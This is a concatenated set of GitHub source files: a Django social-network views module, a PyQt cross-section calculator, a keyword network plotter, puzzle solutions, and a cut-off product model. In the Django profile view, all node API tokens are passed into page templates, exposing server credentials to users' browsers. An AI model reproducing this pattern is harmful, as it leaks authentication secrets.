Allowed\")\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"GET\", \"POST\"])\ndef profile(request, server_name, author_id):\n # import pdb; pdb.set_trace()\n user = request.user\n\n userAuthor = Author.objects.get(username=request.user.username)\n if request.method == 'GET':\n\n context = {\"user\": userAuthor, \"server_name\": server_name,\n \"author_id\": author_id, \"user_id\": str(userAuthor.id)}\n if str(userAuthor.id) == author_id:\n requests = Author.objects.get(\n id=userAuthor.id).follow_requests.all()\n context.update({\"requests\": requests, \"mode\": \"received\",\n \"edit_profile_form\": EditProfileForm(instance=userAuthor)})\n else:\n try:\n userFollows = userAuthor.following.get(id=author_id)\n context.update({\"user_is_following\": \"True\"})\n except:\n context.update({\"user_is_following\": \"False\"})\n local_node = ForeignAPINodes.objects.get(nickname=\"Local\")\n try:\n node = ForeignAPINodes.objects.get(nickname=server_name)\n except:\n node = local_node\n headers = json.dumps(\n {'Authorization': f\"Basic {node.getToken()}\", 'Content-Type': 'application/json'})\n context.update({\"auth_headers\": headers, \"local_server_host\": request.get_host(\n ), \"server_url\": node.base_url})\n\n headers = json.dumps(\n {'Authorization': f\"Basic {local_node.getToken()}\", 'Content-Type': 'application/json'})\n context.update({\"local_auth_headers\": headers})\n\n context.update({\"nicknameTable\": getNicknameTable()})\n context.update({\"tokenTable\": getTokenTable()})\n \n id_to_follow = author_id\n\n # Get the author object\n try:\n author_to_follow = Author.objects.get(id=id_to_follow)\n\n # Get our author object\n current_user_author = Author.objects.get(\n username=request.user.username)\n\n # Add the author object to our sent_request list (Need to send this to inbox in the future to get approval on the other end)\n if current_user_author.sent_requests.filter(id=author_to_follow.id).exists():\n context.update({\"user_pending_following\": \"True\"})\n else:\n context.update({\"user_pending_following\": \"False\"})\n except:\n context.update({\"user_pending_following\": \"False\"})\n\n context.update({'foreign_node_token': node.getToken()})\n context.update({'local_node_token': local_node.getToken()})\n\n return render(request, 'profile.html', context)\n\n elif request.method == \"POST\":\n author_for_action = Author.objects.get(id=author_id)\n foreignNode = getApiNodeWrapper(userAuthor.host)\n if author_for_action in userAuthor.following.all():\n # Remove the author from the following of the current user\n userAuthor.following.remove(author_for_action)\n else:\n # Add the author object to our sent_request list (Need to send this to inbox in the future to get approval on the other end)\n userAuthor.sent_requests.add(author_for_action)\n\n return redirect(reverse(\"profile\", kwargs={\"server_name\": foreignNode.nickname, \"author_id\": userAuthor.id}))\n\n\ndef getNicknameTable():\n nodes = ForeignAPINodes.objects.all()\n table = {}\n for node in nodes:\n parsedHost = urllib.parse.urlparse(node.base_url)\n table.update({str(parsedHost.hostname): node.nickname})\n return json.dumps(table)\n\ndef getTokenTable():\n nodes = ForeignAPINodes.objects.all()\n table = {}\n for node in nodes:\n parsedHost = urllib.parse.urlparse(node.base_url)\n table.update({str(parsedHost.hostname): node.getToken()})\n return json.dumps(table)\n\ndef getServerNickname(request, url):\n parsedHost = urllib.parse.urlparse(url)\n node = ForeignAPINodes.objects.get(\n base_url__contains=\"//\"+parsedHost.hostname)\n return node.nickname\n\n\ndef getApiNodeWrapper(host):\n parsedHost = urllib.parse.urlparse(host)\n try:\n node = ForeignAPINodes.objects.get(base_url__contains=\"//\"+parsedHost.hostname)\n except:\n return ForeignAPINodes.objects.get(base_url__contains=settings.HOST)\n return node\n\n\ndef getAuthHeadersJson(author_host):\n node = getApiNodeWrapper(author_host)\n headers = {}\n if node.username:\n headers = {'Authorization': f\"Basic {node.getToken()}\",\n 'Content-Type': 'application/json'}\n return json.dumps(headers)\n\n\ndef get_posts_visible_to_user(userAuthor, author, friends):\n if userAuthor.id == author.id:\n return Post.objects.filter(made_by=author).order_by('-date_published')\n public = Post.objects.filter(made_by=author, visibility=\"PUBLIC\")\n # private = Post.objects.filter(made_by=author, receivers__contains=user)\n if userAuthor in friends:\n friends = Post.objects.filter(made_by=author, visibility=\"FRIENDS\")\n # posts = (private | public | friends).distinct()\n posts = (public | friends).distinct()\n else:\n # posts = (private | public).distinct()\n posts = public\n\n return posts.order_by('-date_published')\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"POST\"])\ndef unfollow(request):\n user = request.user\n # Extract the username of the author to unfollow\n id_to_unfollow = request.POST.get(\"unfollow\")\n # Get the author object to unfollow\n author_to_unfollow = Author.objects.get(id=id_to_unfollow)\n # Get the author object of the current user\n user_author = Author.objects.get(username=user)\n # Remove the author from the following of the current user\n user_author.following.remove(author_to_unfollow)\n\n return redirect(reverse(\"profile\", kwargs={\"author_id\": user_author.id}))\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"POST\"])\ndef removeFollower(request):\n user = request.user\n # Extract the username of the author to remove from our followers\n id_to_remove = request.POST.get(\"removefollower\")\n # Get the author object\n author_to_remove = Author.objects.get(id=id_to_remove)\n # Get our author object\n user_author = Author.objects.get(username=user.username)\n # We remove ourself to the author's followings list\n author_to_remove.following.remove(user_author)\n\n return redirect(reverse(\"profile\", kwargs={\"author_id\": user_author.id}))\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"GET\"])\ndef true_friends(request, username):\n if request.method == 'GET':\n\n author = Author.objects.get(username=username)\n\n followings = set(author.following.all())\n\n followers = set(author.followers.all())\n\n true_friends = list(followings & followers)\n\n context = {\"friends\": true_friends, \"author\": author}\n\n return render(request, 'true-friends.html', context)\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"GET\", \"POST\"])\ndef received_requests(request, author_id):\n # import pdb; pdb.set_trace()\n user = request.user\n\n author = Author.objects.get(id=author_id)\n node = ForeignAPINodes.objects.get(base_url=author.host)\n\n if request.method == 'GET':\n\n follow_requests = Author.objects.get(\n username=request.user.username).follow_requests.all()\n\n context = {\"requests\": follow_requests, \"mode\": \"received\"}\n\n return render(request, 'requests.html', context)\n\n elif request.method == \"POST\":\n response = \"\"\n inbox = None\n profile = None\n request_action = request.POST.get(\"action\").split(\"_\")\n if len(request_action) < 2:\n return HttpResponseBadRequest(\"Not enough action parameters\")\n action = request_action[0]\n sender_username = request_action[1]\n if len(request_action) > 2:\n if request_action[2] == \"inbox\":\n inbox = request_action[2]\n elif request_action[2] == \"profile\":\n profile = request_action[2]\n sender_author = Author.objects.get(username=sender_username)\n\n # Get our author object\n current_user_author = Author.objects.get(\n username=request.user.username)\n\n if action == \"accept\":\n # Add ourself to the sender author's following\n sender_author.following.add(current_user_author)\n\n # Remove this follow request on the sender side\n sender_author.sent_requests.remove(current_user_author)\n\n # Remove this follow request on our side\n # current_user_author.follow_requests.remove(sender_author)\n response = \"Accepted\"\n\n # Send a type == \"accept\" to the user's node\n send_post_request(\"accept\", sender_author, current_user_author)\n\n elif action == \"decline\":\n\n # Remove this follow request on the sender side\n sender_author.sent_requests.remove(current_user_author)\n\n # Remove this follow request on our side\n current_user_author.follow_requests.remove(sender_author)\n response = \"Declined\"\n\n if inbox:\n return redirect(reverse(\"inbox\", kwargs={'author_id': convert_username_to_id(user.username)}))\n elif profile:\n return redirect(reverse(\"profile\", kwargs={'server_name': \"Local\", 'author_id': convert_username_to_id(user.username)}))\n else:\n return redirect(reverse(\"requests\", kwargs={'server_name': \"Local\", 'author_id': convert_username_to_id(user.username)}))\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"GET\", \"POST\"])\ndef sent_requests(request, author_id):\n user = request.user\n\n if request.method == 'GET':\n\n sent_requests = Author.objects.get(\n username=request.user.username).sent_requests.all()\n\n context = {\"requests\": sent_requests, \"mode\": \"sent\"}\n\n return render(request, 'requests.html', context)\n\n elif request.method == \"POST\":\n action, receiver_username = request.POST.get(\"action\").split(\"_\")\n\n receiver_author = Author.objects.get(username=receiver_username)\n\n # Get our author object\n current_user_author = Author.objects.get(\n username=request.user.username)\n\n if action == \"cancel\":\n # Remove it from our sent requests\n current_user_author.sent_requests.remove(receiver_author)\n\n # Remove it from the receiver side\n receiver_author.follow_requests.remove(current_user_author)\n\n return redirect(reverse(\"profile\", kwargs={'server_name': \"Local\", 'author_id': convert_username_to_id(user.username)}))\n\n\n# @login_required(login_url=\"/login\")\n# @require_http_methods([\"GET\"])\n# def posts(request):\n# posts = Post.objects.all().order_by('-date_published')\n\n# context = {\"posts\": posts, \"comment_form\": CommentForm()}\n\n# return render(request, 'posts_stream.html', context)\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"GET\"])\ndef post_detail(request, post_id):\n # TODO: Check if post is on different host, if yes, then poll info from that particular hosts endpoint, and then pass that data on.\n post = Post.objects.get(uuid=post_id)\n context = {\"request\": request, \"post\": str(\n post.uuid), \"comment_form\": CommentForm()}\n\n return render(request, 'post_detail.html', context)\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"GET\", \"POST\"])\ndef post_edit(request, post_id):\n post = Post.objects.get(uuid=post_id)\n user = Author.objects.get(username=request.user.username)\n if request.method == \"POST\":\n if post.made_by.username != request.user.username:\n return JsonResponse({'success': False, 'message': 'You are not authorized to delete this post.'})\n form = PostForm(request.POST, instance=post)\n if form.is_valid():\n # Save the form data to the database\n if request.POST['visibility'] == 'PRIVATE':\n print(\"saving\")\n post = form.save(\n user=user, receiver_list=request.POST.getlist('receivers'))\n print(\"saved\")\n else:\n print(\"saving\")\n post = form.save(user=user)\n print(\"saved\")\n # Do something with the saved data (e.g. redirect to a detail view)\n # return redirect('post_detail', pk=post.pk)\n\n return redirect(reverse('home'))\n if form.is_valid():\n print(form.errors)\n return HttpResponseBadRequest(\"Invalid form\")\n\n elif request.method == \"GET\":\n context = {\"title\": \"Edit Your Post\", \"form\": PostForm(\n instance=post), \"action\": \"SAVE\", \"post\": post}\n if post.made_by.username != request.user.username:\n return JsonResponse({'success': False, 'message': 'You are not authorized to delete this post.'})\n return render(request, 'post_edit.html', context)\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"GET\", \"POST\"])\ndef inbox(request, author_id):\n\n # Requested author\n requested_author = Author.objects.get(id=author_id)\n\n # Current user's author\n author = Author.objects.get(username=request.user.username)\n\n if requested_author != author:\n return HttpResponseUnauthorized()\n context = {\"type\": \"inbox\"}\n\n if request.method == \"GET\":\n all = author.my_inbox.all().order_by(\"-date\")\n likes = all.filter(object__type=\"like\")\n comments = all.filter(object__type=\"comment\")\n posts = all.filter(object__type=\"post\")\n requests = all.filter(object__type=\"follow\")\n context.update({\"items\": all, \"likes\": likes,\n \"comments\": comments, \"posts\": posts, \"requests\": requests})\n\n elif request.method == \"POST\" and request.POST.get(\"action\") == \"clear_inbox\":\n author.my_inbox.all().delete()\n\n return render(request, 'inbox.html', context)\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"POST\"])\ndef add_comment(request, post_id):\n user = Author.objects.get(username=request.user.username)\n post = Post.objects.get(uuid=post_id)\n\n if request.method == \"POST\":\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = form.save(user=user, post=post)\n add_to_inbox(user, post.made_by, Activity.COMMENT, post)\n\n # Do something with the saved data (e.g. redirect to a detail view)\n # return redirect('post_detail', pk=post.pk)\n\n return redirect(reverse('post_detail', kwargs={'post_id': post.uuid}))\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"POST\"])\ndef edit_profile(request, author_id):\n user = Author.objects.get(username=request.user.username)\n if request.method == \"POST\":\n form = EditProfileForm(request.POST, instance=user)\n if form.is_valid():\n form.save()\n return redirect(reverse('profile', kwargs={'server_name': 'Local','author_id': author_id}))\n else:\n print(form.errors)\n return HttpResponseBadRequest(\"Invalid form\")\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"POST\"])\ndef add_like_post(request, post_id):\n user = Author.objects.get(username=request.user.username)\n post = Post.objects.get(uuid=post_id)\n response = HttpResponse()\n\n if request.method == \"POST\":\n if post.made_by == user:\n response.content = \"Can't like your own post.\"\n return response\n found = post.likes.filter(author=user)\n if not found:\n post.likes.create(type=Like.POST, author=user,\n summary=f'{user.displayName} liked your post.')\n add_to_inbox(user, post.made_by, Activity.LIKE, post)\n response.content = \"Liked\"\n else:\n response.content = \"Already liked this post.\"\n\n return response\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"GET\"])\ndef get_is_pending(request, author_id):\n \n current_author = Author.objects.get(username=request.user.username)\n try:\n author_to_search = Author.objects.get(id=author_id)\n except:\n return JsonResponse({'is_pending': False})\n else:\n sent_requests = current_author.sent_requests.all()\n\n if author_to_search in sent_requests:\n return JsonResponse({'is_pending': True})\n else:\n return JsonResponse({'is_pending': False})\n\n\n\n@login_required(login_url=\"/login\")\n@require_http_methods([\"POST\"])\ndef add_like_comment(request, post_id, comment_id):\n user = Author.objects.get(username=request.user.username)\n post = Post.objects.get(uuid=post_id)\n comment = Comment.objects.get(uuid=comment_id)\n response = HttpResponse()\n\n if request.method == \"POST\":\n if comment.author == user:\n response.content = \"Can't like your own comment.\"\n return response\n found = comment.likes.filter(author=user)\n if not found:\n comment.likes.create(type=Like.COMMENT, author=user,\n summary=f'{user.displayName} liked your comment.')\n add_to_inbox(user, comment.author, Activity.LIKE, comment)\n response.content = \"Liked\"\n else:\n response.content = \"Already liked this comment.\"\n\n return response\n\n\n# @login_required(login_url=\"/login\")\n@require_http_methods([\"GET\"])\ndef github_activity(request, username):\n \"\"\"\n Returns a JSON string of a user's GitHub activity\n \"\"\"\n\n feed = feedparser.parse(f\"https://github.com/{username}.atom\")\n\n activities = []\n\n entries = feed.entries\n\n for entry in entries:\n entry_dict = {\n \"id\": entry.id,\n \"published\": entry.published,\n \"updated\": entry.updated,\n \"title\": entry.title,\n \"link\": entry.link,\n \"author\": entry.author,\n \"authors\": entry.authors,\n \"media\": entry.media_thumbnail,\n \"content\": entry.content,\n \"summary\": entry.summary\n }\n\n activities.append(entry_dict)\n\n return JsonResponse(activities, safe=False)\n","repo_name":"distribution-social/SocialDistribution","sub_path":"socialDistribution/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":31879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"5069125404","text":"# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nfrom uidesign.boxui import Ui_Form\nfrom PyQt5 import QtGui\nfrom PyQt5.Qt import QIcon\nfrom PyQt5.QtWidgets import QWidget, QApplication\nimport numpy as np\nimport base64\nfrom images import logo\n\nclass MainWin(QWidget,Ui_Form):\n def __init__(self):\n super().__init__()\n self.setupUi(self)\n self.setWindowTitle(\"Subchange\")\n # 载入图片作为图标\n tmp = open(\"tmp.jpg\",\"wb+\")\n tmp.write(base64.b64decode(logo))\n tmp.close()\n self.setWindowIcon(QIcon(\"tmp.jpg\"))\n os.remove(\"tmp.jpg\")\n \n # 建立点击信号与槽的连接\n self.pushButton_1.clicked.connect(self.calcu_reponse)\n self.pushButton.clicked.connect(lambda:self.clear_reponse(16))\n \n self.DataModel = QtGui.QStandardItemModel()\n #设置数据头栏名称\n self.DataModel.setHorizontalHeaderItem(0, QtGui.QStandardItem(\"截面特性\"))\n self.DataModel.setHorizontalHeaderItem(1, QtGui.QStandardItem(\"值.\"))\n self.DataModel.setItem(0, 0, QtGui.QStandardItem(\"A(mm^2)\"))\n self.DataModel.setItem(1, 0, QtGui.QStandardItem(\"yb(mm)\"))\n self.DataModel.setItem(2, 0, QtGui.QStandardItem(\"yu(mm)\"))\n self.DataModel.setItem(3, 0, QtGui.QStandardItem(\"Ix-x(mm^4)\"))\n\n for i in range(4,16+4):\n self.DataModel.setItem(i, 0, QtGui.QStandardItem(\"Area\"+str(i-4)+\"/y\"+str(i-4)))\n\n for i in range(20):\n for j in range(1,2):\n self.DataModel.setItem(i, j, QtGui.QStandardItem(\"\"))\n\n # 设置列宽\n self.tableView.setColumnWidth(0,130)\n self.tableView.setColumnWidth(1,170)\n\n self.tableView.setModel(self.DataModel)\n\n # 获取输入数据\n def GetData(self):\n EditData = []\n for i in range(1,17):\n try:\n eval(\"EditData.append(float(self.lineEdit_\"+str(i)+\".text()))\") \n except ValueError as e:\n EditData.append(0)\n return EditData\n \n # 将输入数据转为顺序坐标 \n def Data2coor(self,Data):\n coorout = np.zeros([2,10])\n coorout[:,0] = [0,0]\n coorout[:,1] = [2*Data[11],0]\n coorout[:,2] = [2*Data[11]+Data[10],Data[2]]\n coorout[:,3] = [2*Data[11]+Data[10]+Data[9],Data[2]+Data[1]]\n coorout[:,4] = [2*Data[11]+Data[10]+Data[9]+Data[8],Data[2]+Data[1]]\n coorout[:,5] = [2*Data[11]+Data[10]+Data[9]+Data[8],Data[2]+Data[1]+Data[0]]\n coorout[:,6] = [-(Data[10]+Data[9]+Data[8]),Data[2]+Data[1]+Data[0]]\n coorout[:,7] = [-(Data[10]+Data[9]+Data[8]),Data[2]+Data[1]]\n coorout[:,8] = [-(Data[10]+Data[9]),Data[2]+Data[1]]\n coorout[:,9] = [-Data[10],Data[2]]\n \n coorin = np.zeros([2,8])\n coorin[:,0] = [Data[11]-Data[13],Data[6]+Data[7]]\n coorin[:,1] = [Data[11]-Data[14],Data[5]+Data[6]+Data[7]]\n coorin[:,2] = [Data[11]-Data[15],Data[4]+Data[5]+Data[6]+Data[7]]\n coorin[:,3] = [Data[11]+Data[15],Data[4]+Data[5]+Data[6]+Data[7]]\n coorin[:,4] = [Data[11]+Data[14],Data[5]+Data[6]+Data[7]]\n coorin[:,5] = [Data[11]+Data[13],Data[6]+Data[7]]\n coorin[:,6] = [Data[11]+Data[12],Data[7]]\n coorin[:,7] = [Data[11]-Data[12],Data[7]]\n #print(coorout)\n #print(coorin)\n return coorout,coorin\n\n\n def FeaCalcu(self,coorout,coorin):\n area = []\n y = []\n moment = []\n n = coorout.shape[1]\n for i in range(1,n-1):\n x2 = coorout[0,i]\n y2 = coorout[1,i]\n x3 = coorout[0,i+1]\n y3 = coorout[1,i+1]\n area.append(0.5*(x2*y3-x3*y2))\n y.append((y2+y3)/3)\n moment.append(0.5*(x2*y3-x3*y2)/18*(y3**2-y2*y3+y2**2))\n\n n = coorin.shape[1]\n for i in range(0,n):\n x2 = coorin[0,i%n]\n y2 = coorin[1,i%n]\n x3 = coorin[0,(i+1)%n]\n y3 = coorin[1,(i+1)%n]\n area.append(0.5*(x2*y3-x3*y2))\n y.append((y2+y3)/3)\n moment.append(0.5*(x2*y3-x3*y2)/18*(y3**2-y2*y3+y2**2))\n\n\n AreaAll = sum(area)\n StaticMoment = np.array(area).dot(np.array(y))\n if AreaAll == 0:\n yb = 0\n yt = 0\n else:\n yb = StaticMoment/AreaAll\n H = max(coorout[1,:])\n yt = H - yb\n\n MomentOfInteria = 0\n for i in range(len(area)):\n MomentOfInteria = MomentOfInteria+moment[i]+area[i]*(y[i]-yb)**2\n return area,y,yb,yt,MomentOfInteria\n \n\n def calcu_reponse(self):\n try:\n Data = self.GetData()\n coorout,coorin = self.Data2coor(Data)\n area,y,yb,yt,MomentOfInteria = self.FeaCalcu(coorout,coorin)\n #tableview显示数据\n self.DataModel.setItem(0, 1, QtGui.QStandardItem(str(round(sum(area),3))))\n self.DataModel.setItem(1, 1, QtGui.QStandardItem(str(round(yb,3))))\n self.DataModel.setItem(2, 1, QtGui.QStandardItem(str(round(yt,3))))\n self.DataModel.setItem(3, 1, QtGui.QStandardItem(str(round(MomentOfInteria,3))))\n\n for i in range(4,16+4):\n self.DataModel.setItem(i, 0, QtGui.QStandardItem(\"Area\"+str(i-4)+\"/y\"+str(i-4)))\n self.DataModel.setItem(i, 1, QtGui.QStandardItem(str(round(area[i-4],3))+\"/\"+str(round(y[i-4],3))))\n \n except ValueError as e:\n self.DataModel.setItem(0, 1, QtGui.QStandardItem(\"ValueError\"))\n self.DataModel.setItem(1, 1, QtGui.QStandardItem(str(e)))\n for i in range(1,16+4):\n for j in range(1,2):\n self.DataModel.setItem(i, j, QtGui.QStandardItem(\"Err\"))\n #print('ValueError:', e)\n finally:\n self.tableView.setModel(self.DataModel)\n\n\n def clear_reponse(self,n):\n for k in range(1,17):\n eval(\"self.lineEdit_\"+str(k)+\".setText('')\")\n for i in range(0,4+n):\n for j in range(1,2):\n self.DataModel.setItem(i, j, QtGui.QStandardItem(\"\"))\n self.tableView.setModel(self.DataModel)\n \n \nif __name__ == '__main__':\n app = QApplication(sys.argv)\n Win = MainWin()\n Win.show()\n sys.exit(app.exec_())","repo_name":"SubChange/CrossSection","sub_path":"BoxGirderSectionFeatureCalcu/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6312,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"29"} +{"seq_id":"32272073203","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nimport chrprofiler.search_classifier_utils as utils\nimport pandas as pd\nimport chrprofiler.constant as ct\nimport chrprofiler.dateutil as dtutl\n\n\ndef __create_keywords_data():\n keywords = []\n\n # CSVからキーワードを取得\n df = pd.read_csv('./csv/history_devpc_keywords.csv')\n \n for index, row in df.iterrows():\n keywords.append(row['lower_term'])\n \n return keywords\n\n\ndef __get_co_occurrence_matrix_from(keywords):\n # Reference https://www.monotalk.xyz/blog/\n # TfidfVectorizer で共起単語行列を作る\n from sklearn.feature_extraction.text import TfidfVectorizer\n tfidf_vectorizer = TfidfVectorizer(ngram_range=(\n 1, 1), stop_words=utils.stop_words, max_df=0.5, min_df=1, max_features=3000, norm='l2')\n X = tfidf_vectorizer.fit_transform(keywords)\n # normalized co-occurence matrix\n import scipy.sparse as sp\n Xc = (X.T * X)\n g = sp.diags(2. / Xc.diagonal())\n Xc_norm = g * Xc\n\n import collections\n splited_keywords = []\n for keyword in keywords:\n splited_keywords.extend(utils.split_keyword(keyword))\n counter = collections.Counter(splited_keywords)\n return Xc_norm, tfidf_vectorizer.vocabulary_, counter\n\n\ndef run(debug=False):\n # 1. キーワード文字列を取得\n keywords = __create_keywords_data()\n\n # 2. 共起単語行列を作成する\n Xc_norm, vocabulary, counter = __get_co_occurrence_matrix_from(keywords)\n\n # 3. networkx で、ネットワーク図を描画\n # 3-1.初期ノードの追加\n G = nx.from_scipy_sparse_matrix(\n Xc_norm, parallel_edges=True, create_using=nx.DiGraph(), edge_attribute='weight')\n\n # 3-2.nodeに、count にcount属性を設定\n value_key_dict = {}\n for key, value in vocabulary.items():\n count = counter.get(key, 0)\n nx.set_node_attributes(G, {value: count}, \"count\")\n value_key_dict.update({value: key})\n\n # 3-3.エッジと、ノードの削除\n # 出現回数の少ないエッジを削除\n removed_edges = []\n for (u, v, d) in G.edges(data=True):\n if d[\"weight\"] <= 0.10:\n removed_edges.append((u, v))\n for e in removed_edges:\n G.remove_edge(e[0], e[1])\n\n # 出現回数の少ないノードを除去\n removed_edges.clear()\n for n, a in G.nodes(data=True):\n if a[\"count\"] <= 10:\n removed_edges.append(n)\n for n in removed_edges:\n G.remove_node(n)\n\n # 3-4 ラベルの張り替え、from_scipy_sparse_matrix 設定時はラベルとして1,2,3 等の数値が設定されている\n G = nx.relabel_nodes(G, value_key_dict)\n\n # グラフ整形のためかけ離れたもの削除\n # G.remove_node('')\n\n # 3-5 描画のために調整 \n # figsize で 図の大きさを指定\n plt.figure(figsize=(10, 10))\n # 反発力と吸引力の調整\n pos = nx.spring_layout(G, k=0.1)\n # ノードサイズの調整\n node_size = [d['count'] * 30 for (n, d) in G.nodes(data=True)]\n nx.draw_networkx_nodes(G, pos, node_color='lightgray',\n alpha=0.3, node_size=node_size)\n # フォントサイズ、使用するフォントの設定\n nx.draw_networkx_labels(G, pos, fontsize=6,\n font_family=\"IPAexGothic\", font_weight=\"bold\")\n # エッジの線の調整\n edge_width = [d['weight'] * 2 for (u, v, d) in G.edges(data=True)]\n nx.draw_networkx_edges(G, pos, alpha=0.4, edge_color='c', width=edge_width)\n # 枠線の表示/非表示 on:表示 off:非表示\n plt.axis(\"off\")\n plt.savefig(f'{ct.FIG_DIR}/keywords_co-occurrence_network.png', bbox_inches=\"tight\")\n plt.savefig(f'{ct.PDF_DIR}/keywords_co-occurrence_network.pdf', bbox_inches=\"tight\")\n","repo_name":"jAkatsubaki/chrome-history-profiling","sub_path":"chrprofiler/plot_keyword_network.py","file_name":"plot_keyword_network.py","file_ext":"py","file_size_in_byte":3779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1424460543","text":"import re\n\ndef count_bags(current_bag, bags):\n if bags[current_bag] is None:\n return 0\n i = 0\n for bag, amount in bags[current_bag].items():\n i += int(amount) * count_bags(bag, bags)\n i += int(amount)\n return i\n\nwith open(r'days\\7\\input.txt', 'r') as f:\n bags = {}\n for line in f:\n line = line.strip()\n groups = re.split(r'contain |, ', line)\n groups = [re.sub(r'(\\s)bag?s?.', '', i) for i in groups]\n outer = groups[0]\n if outer not in bags:\n bags[outer] = {}\n if groups[1].strip() == 'no other':\n bags[outer] = None\n continue\n for i in groups[1:]:\n amount, bag, _ = re.split(r' (\\D+)', i)\n bags[outer][bag] = amount\n print(count_bags('shiny gold', bags))\n","repo_name":"cptartur/advent-of-code-2020","sub_path":"days/7/7.2.py","file_name":"7.2.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19620438226","text":"# https://leetcode.com/problems/median-of-two-sorted-arrays/\n\n# There are two sorted arrays nums1 and nums2 of size m and n respectively.\n#\n# Find the median of the two sorted arrays. The overall run time complexity should be O(log (m+n)).\n#\n# You may assume nums1 and nums2 cannot be both empty.\n#\n# Example 1:\n# nums1 = [1, 3]\n# nums2 = [2]\n# The median is 2.0\n#\n# Example 2:\n# nums1 = [1, 2]\n# nums2 = [3, 4]\n# The median is (2 + 3)/2 = 2.5\n#\n# Related Topics Array Binary Search Divide and Conquer\n\n\ndef median_of_two_sorted_arrays(nums1, nums2):\n nums = []\n count1 = 0\n count2 = 0\n len1 = len(nums1)\n len2 = len(nums2)\n total_len = len1 + len2\n\n for i in range(total_len):\n # collect the tail\n if count1 == len1:\n nums.extend(nums2[count2::])\n break\n if count2 == len2:\n nums.extend(nums1[count1::])\n break\n\n # merge sort\n n1 = nums1[count1]\n n2 = nums2[count2]\n if n1 > n2:\n nums.append(n2)\n count2 += 1\n else:\n nums.append(n1)\n count1 += 1\n\n middle = total_len // 2\n if total_len % 2 == 0:\n return (nums[middle - 1] + nums[middle]) / 2\n else:\n return nums[middle]\n\n\nassert median_of_two_sorted_arrays([1], []) == 1.0\nassert median_of_two_sorted_arrays([1, 3], []) == 2.0\nassert median_of_two_sorted_arrays([1, 3], [2]) == 2.0\nassert median_of_two_sorted_arrays([1, 2], [3, 4]) == 2.5\n","repo_name":"asdf2014/algorithm","sub_path":"Codes/asdf2014/4_median_of_two_sorted_arrays/median_of_two_sorted_arrays.py","file_name":"median_of_two_sorted_arrays.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":216,"dataset":"github-code","pt":"29"} +{"seq_id":"70430811598","text":"import PyQt5.QtCore as qtc\nfrom PyQt5 import QtQml\n\nimport cupi as qp\nimport re\nfrom fuzzywuzzy import fuzz\nfrom lxml import etree\nfrom datetime import datetime, timezone\nfrom tzlocal import get_localzone\n\n\n########################################################################################################################\n\n\nclass Vendor(qp.MapObject):\n\n __collection__ = 'vendors'\n\n titleChanged = qtc.pyqtSignal()\n title = qp.Property('title', str, default='', notify=titleChanged)\n\n websiteChanged = qtc.pyqtSignal()\n website = qp.Property('website', str, default='', notify=websiteChanged)\n\n imageUrlChanged = qtc.pyqtSignal()\n imageUrl = qp.Property('image_url', str, default='', notify=imageUrlChanged)\n\n salesTaxChanged = qtc.pyqtSignal()\n salesTax = qp.Property('sales_tax', bool, default=False, notify=salesTaxChanged)\n\n shippingRateChanged = qtc.pyqtSignal()\n shippingRate = qp.Property('shipping_rate', float, default=0, notify=shippingRateChanged)\n\n isMarketChanged = qtc.pyqtSignal()\n isMarket = qp.Property('is_market', bool, default=False, notify=isMarketChanged)\n\n\n########################################################################################################################\n\n\nclass Product(qp.MapObject):\n\n __collection__ = 'products'\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.priceChanged.connect(self.unitPriceChanged)\n self.quantityChanged.connect(self.unitPriceChanged)\n\n lastUpdatedChanged = qtc.pyqtSignal()\n lastUpdated = qp.DateTimeProperty('last_updated')\n\n tagsChanged = qtc.pyqtSignal()\n tags = qp.ListProperty('tags', default=lambda s: list(), default_set=True, notify=tagsChanged)\n\n vendorChanged = qtc.pyqtSignal()\n vendor = qp.MapObjectProperty('vendor', _type=qp.MapObjectReference, notify=vendorChanged)\n\n skuChanged = qtc.pyqtSignal()\n sku = qp.Property('sku', default='', notify=skuChanged)\n\n titleChanged = qtc.pyqtSignal()\n title = qp.Property('title', default='', notify=titleChanged)\n\n brandChanged = qtc.pyqtSignal()\n brand = qp.Property('brand', default='', notify=brandChanged)\n\n modelChanged = qtc.pyqtSignal()\n model = qp.Property('model', default='', notify=modelChanged)\n\n upcChanged = qtc.pyqtSignal()\n upc = qp.Property('upc', default='', notify=upcChanged)\n\n priceChanged = qtc.pyqtSignal()\n price = qp.Property('price', default=0, notify=priceChanged)\n\n quantityChanged = qtc.pyqtSignal()\n quantity = qp.Property('quantity', default=None, notify=quantityChanged)\n\n detailPageUrlChanged = qtc.pyqtSignal()\n detailPageUrl = qp.Property('detail_page_url', default='', notify=detailPageUrlChanged)\n\n imageUrlChanged = qtc.pyqtSignal()\n imageUrl = qp.Property('image_url', default='', notify=imageUrlChanged)\n\n rankChanged = qtc.pyqtSignal()\n rank = qp.Property('rank', default=0, notify=rankChanged)\n\n categoryChanged = qtc.pyqtSignal()\n category = qp.Property('category', default='', notify=categoryChanged)\n\n feedbackChanged = qtc.pyqtSignal()\n feedback = qp.Property('feedback', default=None, notify=feedbackChanged)\n\n descriptionChanged = 